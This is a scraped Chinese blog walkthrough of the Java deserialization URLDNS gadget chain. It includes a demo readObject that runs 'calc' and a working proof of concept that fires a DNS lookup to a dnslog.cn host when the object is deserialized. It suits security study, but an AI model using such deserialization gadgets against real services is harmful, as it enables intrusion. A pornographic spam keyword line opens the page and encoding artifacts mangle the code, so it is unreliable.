国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Java反序列化(0):URLDNS的反序列化調(diào)試分析

這篇具有很好參考價值的文章主要介紹了Java反序列化(0):URLDNS的反序列化調(diào)試分析。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

URLDNS鏈子是Java反序列化分析的第0課,網(wǎng)上也有很多優(yōu)質(zhì)的分析文章。

筆者作為Java安全初學者,也從0到1調(diào)試了一遍,現(xiàn)在給出調(diào)試筆記。

一. Java反序列化前置知識

Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實現(xiàn)Serializable接口,將對象轉(zhuǎn)化成字節(jié)序列。

Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現(xiàn)將字節(jié)序列轉(zhuǎn)化成對象。

測試源碼如下,此部分源碼參考了ol4three師傅的博客:

package?serialize;

import?java.io.*;

public?class?deserTest?implements?Serializable?{
????private?int?n;
????public?deserTest(int?n)?{
????????this.n=n;
????}

????@Override
????public?String?toString()?{
????????return?"deserTest2?[n="?+?n?+?",?getClass()="?+?getClass()?+?",?hashCode()="?+?hashCode()?+?",?toString()="
????????????????+?super.toString()?+?"]";
????}

????//?反序列化
????private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,ClassNotFoundException{
????????in.defaultReadObject();?????
????????Runtime.getRuntime().exec("calc");???
????????System.out.println("test");
????}

????public?static?void?main(String[]?args)?{
????????deserTest?x?=?new?deserTest(5);
????????operation1.ser(x);
????????operation1.deser();
????????x.toString();
????}
}


//?實現(xiàn)序列化和反序列化具體細節(jié)的類
class?operation1{

????//?將輸出字節(jié)流寫入文件中進行封存
????public?static?void?ser(Object?obj)?{
????????//?序列化操作,寫操作
????????try?{
?????????????//?首先文件落地object.obj存儲輸出流,綁定輸出流???????????
????????????ObjectOutputStream?ooStream?=?new?ObjectOutputStream(new?FileOutputStream("object.obj"));

????????????//?重定向?qū)⑤敵隽髯止?jié)寫入文件
????????????ooStream.writeObject(obj);
????????????
????????????ooStream.flush();
????????????ooStream.close();

????????}?catch?(FileNotFoundException?e)?{
????????????e.printStackTrace();
????????}catch?(IOException?e)?{
????????????//?TODO:?handle?exception
????????????e.printStackTrace();
????????}
????}
????
????
????public?static?void?deser()?{
????????//?反序列化,讀取操作
????????try?{
????????????//?綁定輸入流
????????????ObjectInputStream?iiStream?=?new?ObjectInputStream(new?FileInputStream("object.obj"));
????????????
????????????//?反序列化時需要從相關的文件容器中讀取輸出的字節(jié)流
????????????//?讀取字節(jié)流操作為readObject,所以重寫readObject可以執(zhí)行自定義代碼
????????????Object?xObject?=?iiStream.readObject();
????????????iiStream.close();
????????}?catch?(IOException?e)?{
????????????//?TODO:?handle?exception
????????????e.printStackTrace();
????????}?catch?(ClassNotFoundException?e)?{
????????????//?TODO?Auto-generated?catch?block
????????????e.printStackTrace();
????????}
????}
}

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

二. ysoserial環(huán)境搭建

IDE就直接用JetBrains的IDEA就行

直接拿Java安全payload集成化工具ysoserial進行分析,這里面已經(jīng)有現(xiàn)成的環(huán)境了

https://github.com/frohoff/ysoserial

注意配置好相應的JDKSDK版本:

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

三. URLDNS攻擊鏈

  • ??影響的版本問題:與JDK版本無關,其攻擊鏈實現(xiàn)依賴于Java內(nèi)置類,與第三方庫無關

  • ??URLDNS這條反序列化鏈只能發(fā)起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢

調(diào)試分析

Gadget Chain:

Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->

getHostAddress()

在getHostAddress函數(shù)中進行域名解析,從而可以被DNSLog平臺捕獲

URLDNS程序入口

ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路徑下有URLDNS.java文件

main主函數(shù)的run函數(shù)打斷點進入

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

這個ysoserial-masterpayload運行結(jié)構(gòu)大致是有一個專門的PayloadRunner運行程序,然后統(tǒng)一調(diào)用來運行各部分的payload

首先是進行序列化:

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

繼續(xù)往下,生成command,由于是分析URLDNS攻擊鏈,所以只需要修改將返回值為dnslog的臨時地址Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

?

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

創(chuàng)建實例后,進入到URLDNSgetObjectpayload函數(shù)

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

getObject函數(shù)中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最后設置作用域

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

反序列化鏈子:

在反序列化入口處打斷點:

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

在反序列化時調(diào)用了readObject函數(shù)

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

然后進入HashMap.javareadObject函數(shù)

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

readObject中調(diào)試到此行,了putval,在此處IDEA這個IDE可以選擇進入的函數(shù),直接進入后者hash

由于我們讀入字節(jié)序列,需要將其恢復成相應的對象結(jié)構(gòu),那么就需要重新putval

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

傳入的key不為空,執(zhí)行key.hashCode

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

進一步在URL.java文件下

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

進入URLStreamHandlerhashCode

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

產(chǎn)生解析:

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

總的來說,利用鏈思路如下:

在反序列化URLDNS對象時,也需要反序列化HashMap對象,從而調(diào)用了HashMap.readObject()的重寫函數(shù),重寫函數(shù)中調(diào)用了哈希表putval等的相關重構(gòu)函數(shù),在hashcode下調(diào)用了getHostAddress函數(shù)

那么反之,為什么首次聲明的時候沒有調(diào)用到了getHostAddress函數(shù),現(xiàn)在給出聲明時的函數(shù)路線:

ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()

該函數(shù)為空實現(xiàn)

列出幾個路線上的關鍵函數(shù)看看:

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

由于此處keyString類型,則進入String.hashCode

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

相比之下,在反序列化中keyURL類型

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

設置了不發(fā)起dns解析

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

具體執(zhí)行流,可以看下時序圖,我就不講了^^

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言

四. URLDNS鏈的使用

import?java.io.*;
import?java.lang.reflect.Field;
import?java.net.InetAddress;
import?java.net.URL;
import?java.net.URLConnection;
import?java.net.URLStreamHandler;
import?java.util.HashMap;

public?class?Main{


????//?序列化前不發(fā)生dns解析
????static?class?SilentURLStreamHandler?extends?URLStreamHandler{
????????protected?URLConnection?openConnection(URL?n)?throws?IOException{
????????????return?null;
????????}

????????protected?synchronized?InetAddress?getHostAddress(URL?n)
????????{
????????????return?null;
????????}
????}

????public?static?void?main(String[]?args)?throws?Exception{

????????HashMap?hashMap?=?new?HashMap();

????????//?設置put時不發(fā)起dns解析
????????URLStreamHandler?handler?=?new?Main.SilentURLStreamHandler();
????????URL?url?=?new?URL(null,?"http://jloqk8.dnslog.cn",?handler);


????????//?利用Java反射機制在動態(tài)執(zhí)行時獲取類
????????Class?clazz?=?Class.forName("java.net.URL");
????????Field?f?=?clazz.getDeclaredField("hashCode");
????????f.setAccessible(true);

????????hashMap.put(url,?"123");
????????f.set(url,?-1);

????????//?對象輸出流綁定文件輸出流
????????ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream("out.bin"));
????????oos.writeObject(hashMap);?//?序列化

????????//?對象輸入流綁定文件輸入流
????????ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream("out.bin"));
????????ois.readObject();???//?反序列化

????}

}

Java反序列化(0):URLDNS的反序列化調(diào)試分析,安全,java,開發(fā)語言文章來源地址http://www.zghlxwxcb.cn/news/detail-604616.html

到了這里,關于Java反序列化(0):URLDNS的反序列化調(diào)試分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權(quán),不承擔相關法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 【W(wǎng)EB安全】不安全的反序列化

    【W(wǎng)EB安全】不安全的反序列化

    序列化和反序列化是指用于將對象或數(shù)據(jù)結(jié)構(gòu)轉(zhuǎn)換為字節(jié)流的過程,以便在不同系統(tǒng)之間進行傳輸或存儲,并在需要時重新構(gòu)造。 **序列化是指將對象或數(shù)據(jù)結(jié)構(gòu)轉(zhuǎn)換為字節(jié)流的過程。**在序列化過程中,對象的狀態(tài)和數(shù)據(jù)被轉(zhuǎn)換為一系列字節(jié),這些字節(jié)可以按照一定的協(xié)議

    2024年02月16日
    瀏覽(24)
  • 滲透測試漏洞原理之---【不安全的反序列化】

    滲透測試漏洞原理之---【不安全的反序列化】

    為什么要序列化? 序列化,“將對象的狀態(tài)信息轉(zhuǎn)換為可以存儲或傳輸?shù)男问降倪^程”,這種形式?多為字節(jié)流、字符串、json 串。在序列化期間內(nèi),將對象當前狀態(tài)寫?到臨時或永久性的存儲區(qū)。以后,就可以通過從存儲區(qū)中讀取或還原(反序列化)對象的狀態(tài),重新創(chuàng)建

    2024年02月09日
    瀏覽(23)
  • owasp top10之不安全的反序列化

    ? 更多網(wǎng)絡安全干貨內(nèi)容: 點此獲取 ——————— Java?提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節(jié)序列,該字節(jié)序列包括該對象的數(shù)據(jù)、有關對象的類型的信息和存儲在對象中數(shù)據(jù)的類型。 將序列化對象寫入文件之后,可以從文件中讀取

    2024年01月22日
    瀏覽(23)
  • 由Django-Session配置引發(fā)的反序列化安全問題

    漏洞成因位于目標配置文件settings.py下 關于這兩個配置項 SESSION_ENGINE: 在Django中, SESSION_ENGINE ?是一個設置項,用于指定用于存儲和處理會話(session)數(shù)據(jù)的引擎。 SESSION_ENGINE ?設置項允許您選擇不同的后端引擎來存儲會話數(shù)據(jù),例如: 數(shù)據(jù)庫后端 ?( django.contrib.sessions.b

    2024年02月08日
    瀏覽(21)
  • Java安全基礎之Java序列化與反序列化

    目錄 ObjectInputStream 和 ObjectOutputStream java.io.Serializable 自定義序列化和反序列化 Java 的序列化(Serialization)是指將對象轉(zhuǎn)換為字節(jié)序列的過程,而反序列化(Deserialization)則是將字節(jié)序列轉(zhuǎn)換回對象的過程。 序列化和反序列化通常用于在網(wǎng)絡上傳輸對象或者將對象持久化到文

    2024年04月22日
    瀏覽(18)
  • 網(wǎng)絡安全之反序列化漏洞分析

    網(wǎng)絡安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款開源 JSON 解析庫,可用于將 Java 對象轉(zhuǎn)換為其 JSON 表示形式,也可以用于將 JSON 字符串轉(zhuǎn)換為等效的 Java 對象分別通過 toJSONString 和 parseObject/parse 來實現(xiàn)序列化和反序列化。 使用 對于序列化的方法 toJSONString() 有多個重載形式。 SerializeFeature : 通過設置

    2024年02月08日
    瀏覽(22)
  • java安全(五)java反序列化

    java安全(五)java反序列化

    給個關注?寶兒! 給個關注?寶兒! 給個關注?寶兒! 在調(diào)用RMI時,發(fā)現(xiàn)接收發(fā)送數(shù)據(jù)都是反序列化數(shù)據(jù). 例如JSON和XML等語言,在網(wǎng)絡上傳遞信息,都會用到一些格式化數(shù)據(jù),大多數(shù)處理方法中,JSON和XML支持的數(shù)據(jù)類型就是基本數(shù)據(jù)類型,整型、浮點型、字符串、布爾等,如果

    2024年02月10日
    瀏覽(23)
  • java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一種常見的安全漏洞,其攻擊方式是利用Java中的序列化和反序列化機制,通過在序列化數(shù)據(jù)中插入惡意代碼,導致反序列化過程中執(zhí)行惡意代碼。本文將介紹Java反序列化漏洞的原理、攻擊方式和防范措施。 一、Java序列化和

    2024年02月13日
    瀏覽(42)
  • Web安全--反序列化漏洞(java篇)

    Web安全--反序列化漏洞(java篇)

    序列化的意義就在于方便存儲和傳輸,永久的保存到硬盤中,通常保存在一個文件中。 序列化:將java對象轉(zhuǎn)換為字節(jié)序列的過程 反序列化:序列化的逆過程,從儲存區(qū)讀出字節(jié)序列還原成對象的過程 java應用在對用戶的輸入沒有進行嚴格的檢查時,即傳入了不可信的數(shù)據(jù)做

    2024年02月09日
    瀏覽(30)
  • 【java安全】FastJson反序列化漏洞淺析

    【java安全】FastJson反序列化漏洞淺析

    0x00.前言 前面我們學習了RMI和JNDI知識,接下來我們就可以來了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字符串,支持 將JavaBean序列化為JSON字符串,也可以將JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我們需要使用

    2024年02月11日
    瀏覽(33)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包